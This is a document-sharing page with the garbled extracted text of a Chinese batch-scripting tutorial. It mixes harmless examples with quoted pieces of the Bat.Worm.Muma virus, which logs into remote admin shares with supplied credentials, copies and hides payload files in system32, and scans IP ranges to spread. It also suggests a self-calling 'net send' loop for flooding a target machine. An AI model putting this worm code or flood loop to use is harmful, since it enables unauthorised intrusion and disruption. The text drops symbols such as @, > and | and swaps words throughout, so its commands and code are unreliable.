bat批处理教程超级详细教程.docx

上传人:李司机 文档编号:7212089 上传时间:2024-06-29 格式:DOCX 页数:133 大小:142.87KB
返回 下载 相关 举报
bat批处理教程超级详细教程.docx_第1页
第1页 / 共133页
bat批处理教程超级详细教程.docx_第2页
第2页 / 共133页
bat批处理教程超级详细教程.docx_第3页
第3页 / 共133页
bat批处理教程超级详细教程.docx_第4页
第4页 / 共133页
bat批处理教程超级详细教程.docx_第5页
第5页 / 共133页
点击查看更多>>
资源描述

《bat批处理教程超级详细教程.docx》由会员分享,可在线阅读,更多相关《bat批处理教程超级详细教程.docx(133页珍藏版)》请在三一办公上搜索。

1、bat批处理教程(1)这是一篇技术教程,我会用很简洁的文字表达清晰自己的意思,你要你识字就能看懂,就能学到学问。写这篇教程的目的,是让每一个看过这些文字的挚友记住一句话:假如爱可以让事情变的更简洁,那么就让它简洁吧!看这篇教程的方法,就是慢!渐渐的,犹如品一个女人、一杯茗茶,你会发觉很多以前就在眼前的东西突然变的很遥远,而有些很遥远的东西却又突然回到了眼前。先概述一下批处理是个什么东西。批处理的定义,至今我也没能给出一个合适的众多高手们也都没给出一一一反正我不知道一一看了我也不确定信服一一我是个菜鸟,当然就更不用说了;但我想总结出一个比较合适的而且我也信任自己可以把它说明的很清晰,让更多的菜鸟

2、都知道这是个什么东西,你用这个东西可以干什么事情。或许你会因为这篇文章而无条件爱上批处理;那么我的目的就达到了一一我就是要让你爱上它,我就这么拽,你能怎么着?真的,爱有时候就这么拽,就是这么没理由,就是这么不要脸!真的!依据我的理解,批处理的本质,是一堆DoS吩咐按确定依次排列而形成的集合。ok,neverclaverandgettobusiness(闲谈少说言归正传)。批处理,也称为批处理脚本,英文译为BATCH,批处理文件后缀BAT就取的前三个字母。它的构成没有固定格式,只要遵守以下这条就Ok了:每一行可视为一个吩咐,每个吩咐里可以含多条子吩咐,从第一行起先执行,直到最终一行结束,它运行的

3、平台是DOS。批处理有一个很显明的特点:运用便利、敏捷,功能强大,自动化程度高。我不想让自己写的教程味同嚼蜡,因为牵缠到代码(批处理的内容算是代码吧?)的问题原来就是枯燥的,很少有人能面对满屏幕的代码而静下心来。所以我会用很多简洁好用的例子让读这篇教程的挚友去体会批处理的那四射的魅力,感受它那古灵精怪的性格,不知不觉中爱上批处理(晕,怎么又是爱?究竟批处理和爱有什么关系?答案:没有!)。再说句闲谈2要学好批处理,DoS基础确定要牢!当然脑子敏捷也是很重要的一方面。例一、先给出一个最easy的批处理脚本让大家和它混个脸熟,将下面的儿行吩咐保存为name.bat然后执行(以后文中只给出代码,保存和

4、执行方式类似):pingsz.tencenta.txtpingszl.tencenta.txtpingsz2.tencenta.txtpingsz3.tencenta.txtpingsz4.tencenta.txtpingsz5.tencenta.txtpingsz6.tencenta.txtpingsz7.tencenta.txtexit是不是都能看的懂?是不是很easy?但它的作用却是很好用的,执行这个批处理后,可以在你的当前盘建立一个名为a.txl的文件,它里面记录的信息可以帮助你快速找到速度最快的QQ服务器,从而远离从服务器中转那一苦痛的过程。这里的意思,是把前面吩咐得到的东西放到后面

5、所给的地方,的作用,和的相同,区分是把结果追加到前一行得出的结果的后面,具体的说是下一行,而前面一行吩咐得出的结果将保留,这样可以使这个a.txt文件越来越大(想到如何搞破坏了?)oBytheway,这个批处理还可以和其他吩咐结合,搞成完全自动化推断服务器速度的东东,执行后干脆显示速度最快的服务器IP,是不是很爽?后面还将具体介绍。例二、再给出一个已经过时的例子(a.bat):CChooffifexistC:ProgralTencentAD*.gifdelC:Progra-lTencentAD*.gifa.bat为什么说这是个过时的例子呢?很简洁,因为现在已经几乎没有人用带广告的QQ了(KA0

6、,我的QQ还显示好友三围呢!),所以它几乎用不上了。但曾经它的作用是不行小窥的:删除QQ的广告,让对话框干干净净。这里用的地址是QQ的默认安装地址,默认批处理文件名为a.bat,你当然可以依据状况自行修改。在这个脚本中运用了if吩咐,使得它可以达到适时推断和删除广告图片的效果,你只须要不关闭吩咐执行后的DOS窗口,不按CTR1.+C强行终止吩咐,它就始终监视是否有广告图片(QQ也再不断查看自己的广告是否被删除)。当然这个脚本占用你一点点内存,呵呵。例三,运用批处理脚本查是否中冰河。脚本内容如下:CChooffnetstat-a-na.txttypea.txtIfind7626&echoCong

7、ratulations!YouhaveinfectedG1.ACIER!dela.txtpause&exit这里利用了netstat吩咐,检查全部的网络端口状态,只须要你清晰常见木马所运用的端口,就能很easy的推断出来是否被人种了冰河。然这不是确定的,因为冰河默认的端口7626,完全可以被人修改。这里介绍的只是方法和思路。这里介绍的是方法和思路稍做改动,就变成可以检查其他木马的脚本了,再改动一下,加进去参数和端口及信息列表文件后,就变成自动检测全部木马的脚本了。呵呵,是不是很过瘾?脚本中还利用了组合吩咐&和管道吩咐I,后面将具体介绍。例四,借批处理自动清除系统垃圾,脚本如下:echooffi

8、fexistc:windowstemp*.*delc:windowstemp*.*ifexistc:windowsTemor-1*.*delc:windowsTemporl*.*ifexistc:windowsHistory*.*delc:windowsHistory*.*ifexistc:windowsrecent*.*delc:windowsrecent*.*将以上脚本内容保存到autoexec.bat里,每次开机时就把系统垃圾给自动删除了。这里须要留意两点:一、DOS不支持长文件名,所以就出现了Temporal这个东东;二、可依据自己的实际状况进行改动,使其符合自己的要求。怎么样,看到这

9、里,你对批处理脚本是不是已经有点爱好了?是不是发觉自己已经渐渐爱上了这个东东?别兴奋的太早,爱不是一件简洁的事,它或许能带给你欢乐和华蜜,当然也能让你苦痛的想去跳楼。假如你知道很难还敢接着的话,I服了YoU!接着努力吧,或许到最终你不确定得到真爱(真的有这可能,爱过的人都知道),但你可以体会到整个爱的过程,就是如此。酸、苦和辣,有没有甜天知道。为什么会把批处理和爱情扯上关系?不是我无聊,也不是因为这样写好玩多少,缘由有二:其一,批处理和爱情有很多相同的地方,有些地方我用专业的行话说明不清(我不怀疑自己的表达实力,而是事情本身就不好说清晰),说了二没说,但用地球人都知道的爱情一比方(爱情是什么?

10、我*怎么知道!),没准你心里一下就亮堂了,事半功倍,何乐而不为?其二,我这段时间状态不是很好,感冒发烧头疼鼻塞,但主要还是感情上精神摧残,搞的人烦透了,借写教程之际感慨几句,大家就全当买狗皮膏药了,完全可以省略不看(或许还真有点效果一一不至于让你看着看着就睡着了,把头磕了来找我报销医药费)。说不定下次的教程中大家还会看到杨过、张无忌等金老前辈笔下的英雄们。看过第一章的挚友,确定对批处理有了初步的印象,知道它究竟是用来干什么的了。但你知道运用批处理的精髓在哪里吗?其实很简洁:思路要敏捷!没有做不到的,只有想不到的。这和爱情就有点不同了,因为爱情的世界是两个人的世界,一厢情愿不叫爱情(补充:那叫单

11、恋。废话!)而批处理却是一个人的天堂,你可以为所欲为,没有达不到的境界!批处理看起来杂乱无章,但它的逻辑性之强,确定不比其他程序语言(如汇编)低,假如你写的脚本是一堆乱麻,虽然每一行吩咐都正确,但从头执行到尾后,不确定得到你想要的结果,或许是一屏幕的Badcommandorfailname。这又和爱情有了共同点:按步骤来经营,缺少或增多的步骤都可能导致不想望见的结果。陷入爱河的挚友,信任没有不愿定这句话的。我的爱情批处理,输出的结果不是Badcommandorfailname,屏幕是这么显示的:你的爱情不是内部或外部吩咐,也不是可运行的程序或批处理文件。然后就是光标不停闪动,等待这下一次错误的

12、输入。从这一章起先,将由浅入深的介绍批处理中常用的吩咐,很多常见DoS吩咐在批处理脚本中有这广泛的应用,它们是批处理脚本的BODY部分,但批处理比DOS更敏捷多样,更具备自动化。要学好批处理,DOS确定要有比较扎实的基础。这里只讲解并描述一些比较少用(相对来说)的DOS吩咐,常用吩咐如COPY、DIR等就不做介绍了(这些看似简洁的吩咐实际困难的很,我怕自己都说不清晰!)。例五,先看一个实例。这是一个很有意思的脚本,一个小巧好用的好东东,把批处理自动化的特点体现的淋漓尽致。先介绍一下这个脚本的来历:大家都知道汇编程序(MASM)的上机过程,先要对源代码进行汇编、连接,然后再执行,而这中间有很多环

13、节须要输入很多东西,麻烦的很(只有经验过的挚友才懂得)。如何使这个过程变的简洁呢?在我们搞汇编课程设计时,我被.写了这个脚本,用起来很爽,呵呵。看看脚本内容:echooff:closeechocis:cleanscreenechoThisprogrammeistomaketheMASMprogrammeautomate:!displayinfoechoEditbyCODERED:!displayinfoechoMailtome:qqki1ler*sina:!displayinfoif%l=lgotousage:ifinputwithoutparamatergotousageif%=/?goto

14、usage:ifparamateris,7?gotousageif%=helpgotousage:ifparamaterishelpgotousagepause:pausetoseeusagemasm%1.asm:!assemblethe.asmcodeiferrorlevel1pause&edit%1.asm:iferrorpausetoseeerrormsgandeditthecodelink%l.obj&%1:else1inkthe.objfileandexecutethe.exefile:usage:setusageechoUsage:ThisBATfilenameasmfiIenam

15、eechoDefaultBATfilenameisSTART.BAT:displayusage先不要被这一堆的东西给吓怕了,静下心来细致的看(I可想一下第一章中第一段是怎么写的!)o已经给出了每一行吩咐的说明,两个冒号后面的内容为前一行内容说明的E文(胆怯E文的挚友也不用担忧,都很easy,一看就懂了,实在不懂了不会查词典啊,这么懒?),在脚本执行时不显示,也不起任何作用。倒数第5行行首有一个冒号,可不是笔误哦!具体作用后面会具体讲到。此脚本中masm和Iink是汇编程序和连接程序,必需和edit程序以及你要编辑的源代码(当然还有这个脚本,废话!)一起在当前书目中。运用这个批处理脚本,可以最大

16、可能的削减手工输入,整个过程中只须要按几下回车键,即可实现从汇编源代码到可执行exe文件的自动化转换,并具备智能推断功能:假如汇编时源代码出现错误(汇编不胜利),则自动暂停显示错误信息,并在按随意键后自动进入编辑源代码界面;假如源代码汇编胜利,则进行连接,并在连接后自动执行生成的exe文件。另外,由于批处理吩咐的简洁性和敏捷性,这个脚本还具备良好的可改进性,简洁进行修改就可以符合不同挚友的上机习惯。正在学汇编的挚友,确定别忘了实习一下!在这个脚本中出现了如下几个吩咐:、echo、:、PaUSe、:和goto、%以及if。而这一章就将讲解并描述这儿个吩咐。1、这个符号大家都不生疏,email的必

17、备符号,它怎么会跑到批处理中呢?呵呵,不是它的错,批处理原来就离不开它,要不就不完备了。它的作用是让执行窗口中不显示它后面这一行的吩咐本身(多么绕口的一句话!)。呵呵,通俗一点说,行首有了它的话,这一行的吩咐就不显示了。在例五中,首行的ech。off中,的作用就是让脚本在执行时不显示后面的echoOff部分。这下懂了吧?还是不太懂?没关系,看完echo吩咐简介,自然就懂了。2、echo中文为反馈回显的意思。它其实是一个开关吩咐,就是说它只有两种状态:打开和关闭。于是就有了echoon和echooff两个吩咐了。干脆执行echo吩咐将显示当前echo吩咐状态(Off或On)执行echooff将关

18、闭回显,它后面的全部吩咐都不显示吩咐本身,只显示执行后的结果,除非执行echoOn吩咐。在例五中,首行的吩咐和echoOff吩咐联合起来,达到了两个目的:不显示CChoOff吩咐本身,不显示以后各行中的吩咐本身。的确是有点乱,但你要是练习一下的话,3分钟包会,不会的退钱!echo吩咐的另一种用法一:可以用它来显示信息!如例五中倒数其次行,DCfaUItBATfilenameisSTART.BAT将在脚本执行后的窗口中显示,而echo吩咐本身不显示(为什么?)oecho吩咐的另一种用法二:可以干脆编辑文本文件。例六:echonbtstat-A192.168.0.1a.batechonbtstat

19、-A192.168.0.2a.batechonbtstat-A192.168.0.3a.bat以上脚本内容的编辑方法是,干脆是吩咐行输入,每行一回车。最终就会在当前书目下生成一个a.bat的文件,干脆执行就会得到结果。3、:这个吩咐的作用很简洁,它是注释吩咐,在批处理脚本中和rcm吩咐等效。它后面的内容在执行时不显示,也不起任何作用,因为它只是注释,只是增加了脚本的可读性,和C语言中的/*切类似。地球人都能看懂,就不多说了。4、pause中文为皙停的意思(看看你的workman上),我始终认为它是批处理中最简洁的一个吩咐,单纯、好用。它的作用,是让当前程序进程暂停一下,并显示一行信息:请按随意

20、键接着在例五中这个吩咐运用了两次,第一次的作用是让运用者看清晰程序信息,其次个是显示错误的汇编代码信息(其实不是它想显示,而是masm程序在显示错误信息时被暂它停了,以便让你看清晰你的源代码错在哪里)。5、:和goto为什么要把这两个吩咐联合起来介绍?因为它们是分不开的,无论少了哪个或多了哪个都会出错。goto是个跳转吩咐,:是一个标签。当程序运行到goi。时,将自动跳转到:定义的部分去执行了(是不是分不开?)。例五中倒数第5行行首出现一个:,则程序在运行到goto时就自动跳转到:标签定义的部分执行,结果是显示脚本USage(USage就是标签名称)。不难看出,goto吩咐就是依据这个冒号和标

21、签名称来找寻它该跳转的地方,它们是一一对应的关系。goto吩咐也常常和if吩咐结合运用。至于这两个吩咐具体用法,参按例五。got。吩咐的另一种用法一:提前结束程序。在程序中间运用goto吩咐跳转到某一标签,而这一标签的内容却定义为退出。如:gotoend*:end这里:end在脚本最终一行!其实这个例子很弱智,后面讲了if吩咐和组合吩咐你就知道了。6、%这个百分号严格来说是算不上吩咐的,它只是批处理中的参数而已(多个%一起运用的状况除外,以后还将具体介绍),但千万别以为它只是参数就小看了它(看看例五中有多少地方用到它?),少了它批处理的功能就削减了5%了。看看例七:netuse%lipc$%3

22、/u:%2copy11.BATW%ladminSsystem32/ycopy13.BAT%ladmin$system32/ycopyipc2.BAT%1admin$system32/ycopyNWZI.EXE%1admin$system32/yattrib%ladmin$system3210.bat-r-h-s以上代码是Bat.Worm.Muma病毒中的一部分,%1代表的IP,2%代表的USername,3%代表PaSSWord。执行形式为:脚本文件名参数一参数二。假设这个脚本被保存为a.bat,则执行形式如下:aIPusernamepasswords这里IP、usernamepassword

23、是三个参数,缺一不行(因为程序不能正确运行,并不是因为少了参数语法就不对)这样在脚本执行过程中,脚本就自动用用你的三个参数依次(记住,是依次!也是一一对应的关系。)代换1%、2%和3%这样就达到了敏捷运用的目的(试想,假如在脚本中干脆把IP、username和password都定义死,那么脚本的作用也就被固定了,但假如运用的话,不同的参数可以达到不同的目的,是不是更敏捷?)。关于这个参数的运用,在后续章节中还将介绍。确定要特别娴熟才行,这须要很多练习过程,须要下点狠工夫!这一章就写到这里了。可能有挚友问了:怎么没介绍if吩咐?呵呵,不是我忘了,而是它不简洁说清晰,下一章再讲了!这一章讲的这点东

24、西,假如你是初学者,唯恐也够消化的了。记住一句话:DOS是批处理的BODY,任何一个DOS吩咐都可以被用在批处理脚本中去完成特定的功能。到这里,你是否已经想到了用自己肚子里的东西去写点带有自动化色调的东东呢?很简洁,就是一个DoS吩咐的集合而已,信任自称为天才的你已经会把计算机等级考试上机试题中的DOS部分用批处理来自动化完成了。烦!就好象一个半老女人到了更年期,什么事都想唠叨几句,什么事都感到不舒适,看谁谁不爽。明知山有虎,偏向虎山行,最终留下一身伤痕无功而返时,才发觉自己竟然如此脆弱,如此渺小,如此不堪一击。徘徊在崩溃的边缘,突然回想起了自己最终一次扁人的那一刻,还真有点怀念(其实我很不喜

25、爱扁人,更不喜爱被人扁)。我须要发泄,我用手指舍命的敲打着键盘,在一阵接一阵有节奏的声音中,屏幕上出现了上面的这些文字。可莫非这就是发泄的另一种方式吗?中国人还是厉害,早在几千年前孔老夫子就说过唯女子及小人,难养也;真*有先见之明,佩服!虽然是在发泄,不过大家请放心,以我的脾气,既然确定写这篇教程,就确定会尽力去写好,写完备,确定不给自己留下缺憾,要不这教程就不是我写的!曾经有一篇经典的批处理教程出现在你的屏幕上,你没有保存,直到找不到它的链接你才懊悔莫及,人世间最大的苦痛莫过于此。假如上天能给你一个再看一次的机会,你会对那篇教程说三个字:我爱你!假如非要给这份爱加上一个期限,你希望是100年

26、。因为100年后,你唯恐早已经挂了!而现在,你的屏幕上出现了这篇你正在看的批处理教程,虽然不如你曾经看的那篇经典,但假如牵强还过的去。你会爱它吗?时间会有50年那么长吗?答案是:试试看吧。批处理脚本中最重要的几个吩咐,将在这一章具体介绍,但是很缺憾,有些细微环节到现在我都没驾驭的很好,甚至还有些生分。犹如还不太懂得爱一样。但我始终都在努力,即使始终都没有收获。所以可能讲的会比较笼统,但我会告知你方法,剩下的就是时间问题了,须要自己去磨练。让我们共同努力吧。冰冻三尺非一日之寒,滴水穿石非一日之功。有些事情,比如学批处理,比如爱一个人,都是不能速成的,甚至还会有付出艰辛而收获为甚微的状况。再次重申

27、,看这篇教程的时候,确定要静下心来,除非你已经驾驭了这篇教程的全部东西-但那也就不必看了,奢侈时间!7、if接上一章,接着讲if吩咐。总的来说,if吩咐是一个表示推断的吩咐,依据得出的每一个结果,它都可以对应一个相应的操作。关于它的三种用法,在这里分开讲。、输入推断。还是用例五里面的那几句吧:if%1=gotousageif飞1=/?gotousageif%l=helpgotousage这里推断输入的参数状况,假如参数为空(无参数),则跳转到USagc;假如参数为/?或help时(大家一般看一个吩咐的帮助,是不是输入的/?或help呢,这里这么做只是为了让这个脚本看起来更像一个真正的程序),也

28、跳转到USage(I这里还可以用否定形式来表示“不等于”,例如:ifnot%1=gotoUSage,则表示假如输入参数不为空就跳转到USage(实际中这样做就没意义了,这里介绍用法,管不了那么多了,呵呵。)是不是很简洁?其实翻译成中文体会一下就understand了.(2)、存在推断。再看例二里这句:ifexistCProgralTencentD*.gifdelC:Progra1TcncentAD*.gif假如存在那些gif文件,就删除这些文件。当然还有例四,都是一样的道理。留意,这里的条件推断是推断存在的,当然也可以推断不存在的,例如下面这句“假如不存在那些gif文件则退出脚本:ifnote

29、xistC:ProgralTencentAD*.gifexito只是多一个not来表示否定而已。(3)、结果推断。还是拿例五开刀(没想到自己写的脚本,竟然用处这么大,呵呵):masm%1.asmiferrorlevel1pause&edit%1.asmlink%l.obj先对源代码进行汇编,假如失败则暂停显示错误信息,并在按随意键后自动进入编辑界面;否则用Iink程序连接生成的。bj文件。这里只介绍一下和if吩咐有关的地方,&吩咐后面会讲到。这种用法是先推断前一个吩咐执行后的返回码(也叫错误码,I)OS程序在运行完后都有返回码),假如和定义的错误码符合(这里定义的借误码为1),则执行相应的操作

30、(这里相应的操作为PaUSe&edit洞.asm部分)。另外,和其他两种用法一样,这种用法也可以表示否定。用否定的形式仍表达上面三句的意思,代码变为:masm%1.asmifnoterrorlevel11ink%1.objpause&edit%1.asm看到本质了吧?其实只是把结果推断后所执行的吩咐互换了一下,“ifnoterrorlevel1,和“iferrorlevel0”的效果是等效的,都表示上一句InaSIn吩咐执行胜利(因为它是借误推断,而且返回码为0,0就表示否定,就是说这个错误不存在,就是说masm执行胜利)。这里是否加not,错误码究竟用0还是1,是值得考虑的两个问题,一旦搭配

31、不胜利脚本就确定出错,所以确定要体会的很深刻才行。如何体会的深刻?练习!自己写一个脚本,然后把有not和没有not的状况,返回码为。或1的状况分别写进去执行(怎么,嫌麻烦啊?排列组合算一下才四中状况你就嫌麻烦了?后面介绍管道吩咐和组合吩咐时还有更麻烦的呢!怕了?呵呵。),这样从执行的结果中就能很清晰的看出这两种状况的区分。这种用errorlevel结果推断的用法是if吩咐最难的用法,但也恰恰是最有用的用法,假如你不会用errorlevel来推断返回码,则要达到相同的效果,必需用else来表示“否则”的操作,是比较麻烦的。以上代码必需变成:masm%1.asmifexist%1.objlink%

32、1.objelsepause&edit%1.asm关于if吩咐的这三种用法就Say到这里,理解很简洁,但应用时就不确定用的那么得心应手,主耍是娴熟程度的问题。可能有的挚友有点惊异,我怎么没给出类似下面三行的用法介绍,是因为下面三行是if吩咐帮助里对它自身用法的说明,任何人只要一个“if/?”就能看到,我没有必要在这里多费口舌;更重要的缘由,是我觉得这样介绍的不清晰,看的人不确定看的懂,所以我采纳上面自己对if吩咐的理解来介绍。确定要留意的是,这三种用法的格式各不相同,而且也是不能变更的,但事实上可以互换(以为从本质上讲,这三种用法都是建立在推断的基础上的,哲学教我们学会透过现象看事物本质!)。

33、有爱好的挚友可以自己探讨一下。IFNOTERROR1.EVE1.numberdocommandIFNOTstringl=string2docommandIFNOTEXISTfilenamedocommand8、 call学过汇编或C的挚友,确定都知道call指令表示什么意思了,在这里它的意思其实也是一样的。在批处理脚本中,call吩咐用来从一个批处理脚本中调用另一个批处理脚本。看例八(默认的三个脚本文件名分别为start.bat、10.bat和ipc.bat):start,bat:CA1.1.10.BT010.bat:ECHO%IPA%.%1HFIND.TMPCA1.1.ipc.batIPCF

34、ind.txtipc.bat:for/f*tokens=l,2,3delims=%iin(%1)docallHACK.bat%i%j%k有没有看出什么不对的地方?没看出来啊?没看出来就对了,其实就没有不对的地方嘛,你怎么看的出来!从上面两个脚本,你可以得到如下信息:1、脚本调用可以敏捷运用,循环运用、重复运用。2、脚本调用可以运用参数!关于第一点就不多说了,聪慧的你一看就应当会,这里说一下其次点。在StaltbaI中,10bal后面跟了参数0,在执行时的效果,其实就是把10.bat里的参数%1用0代替。在start,bat中,ipc.bat后面跟了参数ipcCnd.txt(一个文件,也可以做参

35、数),执行时的效果,就是用ipc.bat中的每一行的三个变量(这里不懂没关系,学过for吩咐后就慢了),对应代换ipc.bat中的巡i、%j和嬲fek。这里参数调用是特别敏捷的,运用时须要好好体会。在初学期间,可以先学习只调用脚本,至于连脚本的参数一起运用的状况,在后面的学习中自然就会有比较深刻的理解,这是因为当你已经可以敏捷运用批处理脚本后,如何使代码写的更精简更完备更高效就自然包括到了考虑的范围,这时候你就会发觉在调用脚本时干脆加入参数,可以使代码效率加倍。Bytheway,上面的这几个脚本,都是BaI.Worm.Muma病毒的一部分,在后面的教程里,大家将有机会见到这个病毒的真面目。那是

36、不是说,在同一个书目下至少存在两个批处理脚本文件(只有一个你调用谁?)?呵呵,留意了,这句话错了!只有一个照样可以调用一一调用自身!看例九(默认脚本文件名abal):netsend%1Thisisacal1example.calla.bat这两句一结合,效果H然不怎么样,因为只有一台机器来发消息,谁怕谁啊?我给你来个礼尚往来!可假如有100台机器同时执行,而且每台机器开10和窗口同时向一个目标机器发消息的话,呵呵。这里calla.bat的作用就是调用自身,执行完前一句nelSCnd吩咐后再调用臼身,达到了循环执行的目的。给出一个很有意思的脚本,有爱好的挚友可以试脸一下。例十(默认脚本文件名为a

37、.bat):cal1a.bat确定要在DOS窗口下执行,否则只会看到一个窗口一闪而过,看不到最终结果。等执行完后,当脚本被执行了1260次,别忘了想一下完竟是为什么!爱情有时候跟这个脚本一样,一旦陷入死循环,最终的结果都是意想不到的。只是爱情,确定不会等到被毫无理由的循环这么多次,或许在第三次时就出现了loveisaborted的提示。9、 find这是一个搜寻吩咐,用来在文件中搜寻特定字符串,通常也作为条件推断的铺垫程序(我怎么突然想起了这四个字?)o这个吩咐单独运用的状况在批处理中是比较少见的,因为没什么实际意义。还是借例三来说明:echooffnetstat-a-na.txttypea.

38、txtfind7626&echowCongratulations!YouhaveinfectedG1.ACIER!*dela.txtpause&exit先用netstat吩咐检查是否有冰河默认的端I7626在活动,并把结果保存到a.txt中。然后运用type吩咐列出a.txt中的内容,再在列出的内容中搜寻字符串“7626”,发觉有的话则提示中了冰河,否则退出。看,find吩咐其实就这么简洁,但有一点必须要留意到:假如不运用IyPe吩咐列出a.txt中的内容,而是干脆运用find吩咐在a.txt中找“7626”(finda.txt7626&echoCongratulations!Youhavei

39、nfectedG1.ACIER!w),就必需得给出这个a.txt的确定路径(我试过了,find并没有默认路径就是当前路径的功能,必需手动指定。或许是我错了,欢迎指正)。因为在find吩咐的帮助里有这么一句话:假如没有指定路径,find将搜寻键入的或者由另一个吩咐产生的文字。这里的“另一个吩咐”自然就指的type吩咐了。至于find吩咐的其他几个参数如v、n、i等,有爱好的挚友自己去探讨吧,这已经属于I)OS学习的内容了,这里就不做介绍。关于find吩咐和其他吩咐的一些更精妙的用法(有些简宜令人叫绝),后续的教程中将介绍,希望关注。10、forset、shift为什么把这三个吩咐放到一起来讲?缘

40、由除了我说明外,唯恐谁也想不到!很简洁的一句话:其实我也不太懂!是的,对于这两个吩咐,我是从探讨Bal.Worm.Vuma病毒起先学习的,时间过去了不少,但还是没完全搞明白,我怕讲出来连H己都看不懂,我更怕不当心讲错了成了罪人。所以我给出一个脚本去告知你,如何让这两个吩咐给自己留一个初步的印象,其实也就是这两个吩咐的入门,而并不是说如何领悟这两个吩咐。因为要领悟如此精妙的两个吩咐(特殊是for)谈何简洁!或许你会表扬我说我诚恳、不懂就不懂;或许你会骂我,让我既然不懂就抓紧滚蛋,不要在这里丢人惹眼;或许你还会说一些别的这样那样好听或不好听的话,都随意你了,即使我不同意你说的话,我也会誓死捍卫你说

41、话的权利。看例十一:echoofffor?for.txtset?set.txtshift?shift.txtexit执行后在当前路径下就生成for.txtsset.txt和shift.txt三个文件,里面分别记录了for吩咐、Set吩咐和Shift吩咐的帮助信息。地球人都能看懂,我就不多说了。我在网上曾经找了很长时间这三个吩咐的教程,但都不志向,基本都是照搬的帮助信息。我想在H己完全驾驭了这两个吩咐后,确定要写一篇用自己的文字总结出来的for、set和Shift教程(关于shift吩咐,后面介绍批处理的参数时还将涉及到),确定会的,这是我的心愿之一!须要留意的一点是,这三个吩咐的帮助里,介绍的

42、都比较死板,虽然也举了一些例子,但这是远远不够的。要驾驭这两个吩咐,最须要的就是耐性!没写错,就是耐性。光是细致看完它们的帮助文字就已经须要足够的耐性了,要进一步练习领悟这两个吩咐,莫非不须要更大的耐性?实战练习的机会我会留给你的,关键还姑那句话,看你有没有耐性去探讨了。看看例十二:START.BAT:CA1.1.MUMA.BTSETIPA=192.168CA1.1.10.BAT0:NEARAGAINnetstat-nfind:.TMPFOR/Ftokens=7,8,9,10,12delims=:%IIN(A.TMP)DOSETNUMl=%&SETNUM2=%J&SETNUM3=%K&SETU

43、M4=厥I尺&SETNUM5=%M&CA1.1.NEAR.BAT:STARTCA1.1.RANDOM.BATIF*%NUM1%*=*255*GOTONEARAGANIF%NUM1%”=192GOTONEARAGAINIF飞NuMR=127”GOTONEARAGANIF%NUM2旷=255GOTONEARGAINIF飞NUM3%=255”GOTONERGAINIF%NUM4旷=255GOTONEARAGANSETIPA=%NUM1%.%NUM2%ECHOSTARTA.1.OGPlNG%IPA%.%NUM3%.1B.TMPPING%IPA%.%NUM3%.%NUM4%B.TMPFIND/C/Ifr

44、omB.TMPIFERROR1.EVE1.1GOTOSTARTCA1.1.10.BAT%NUM3%DE1.A.1.OGGOTOSTART这是Bat.Worm.MUma病毒的起始脚本,设置了病毒运行的环境变量。是不是看的头都大了?乂忘了写在第一章第一段的那句话(静下心来!),你应当能体会到学习这两个吩咐所须要的耐性了吧。就犹如去爱一个人,你得学会宽容,打不得骂不得,用你宽大的胸怀去包涵她的一切,即使你发觉爱她的过程如看上面代码的过程一样让你头大,但你还是得爱下去一一爱须要理由吗?不须要吗?须要吗?不须要吗等到一帆风顺后,最宜观的收获就是,你的耐性变的前所未有的足够,面对她的困难和善变,你自己会处

45、变不惊,以自己的方式去从容应付曾经应付不了的场面,即使到最终一身伤痕,也会感慨曾经的举动有多么宏大。没借,这就是批处理的魅力,这就是爱的魅力。让你受了伤还感谢伤你的人。这种感觉就好象在自己最喜爱的音乐声中被人.,痛并欢乐着。不得不再次重申一-遍,各种DOS吩咐是批处理的BoDY(我实在找不出一个更合适的词来形容他们之间的关系),学好DOS吩咐是学好批处理的前提。其他DoS吩咐如COPy、dir、del、type、path、breakStart等内部吩咐,以及ping、net%cmd,at、sort、attrib、fc、find等外部吩咐,在批处理里的应用特别广泛。这篇教程的作用,是教你相识批处

46、理,以及如何利用DOS吩咐组合出来一个完备的批处理脚本,去让它H动完成你想要它做的事情。而敏捷自如的编辑一个批处理脚本是建立在娴熟驾驭DOS吩咐的基础上的,这已经超出了本文的范畴,在此就不赘述了。不知不觉中第三章已经结束了。耳麦里传来的照旧是陈晓东的比我华蜜,每隔4分32秒就自动重播。虽然我不并不很喜爱陈晓东,可这并不阻碍我喜爱音乐,喜爱这首描写的如此让人感慨的歌。请你确定要比我华蜜/才不枉费我狼狈退出/再痛也不说苦/爱不用愧疚来弥补/至少我能成全你的追逐/请记得你要比我华蜜/才值得我对H己残酷/我静默的倒数/最终再把你看清晰/看你眼里的我好馍糊/渐渐被放逐。我犹如一个因年老失色而拉不到客的老妓女,无望的徘徊在曾经辉煌的红灯区,用一脸的木然瞟一眼来来去去的人群,静钛的回忆Fl己并不光彩的过去,幻想自己将要面对的将来。直到望见那些华蜜依偎在一起的情侣们,才突然间发觉上帝的公允,和这种公允的残忍。可以说,批处理脚本中最重要的几个吩咐我都没有给出如echo或if那样比较具体的介绍,缘由我已经说了,因为我也是个菜,我也不太懂一一但我正在学!你呢?今口又去了一趟图书馆,淘金一样发觉了一本叫灯)0S批文件的东东,藏在一个角落里落满了灰,五本摞一起就跟砖头一样厚了。或许翻了一下,里面介绍了很多比较底层和基础的东西,

展开阅读全文
相关资源
猜你喜欢
相关搜索

当前位置:首页 > 生活休闲 > 在线阅读


备案号:宁ICP备20000045号-2

经营许可证:宁B2-20210002

宁公网安备 64010402000987号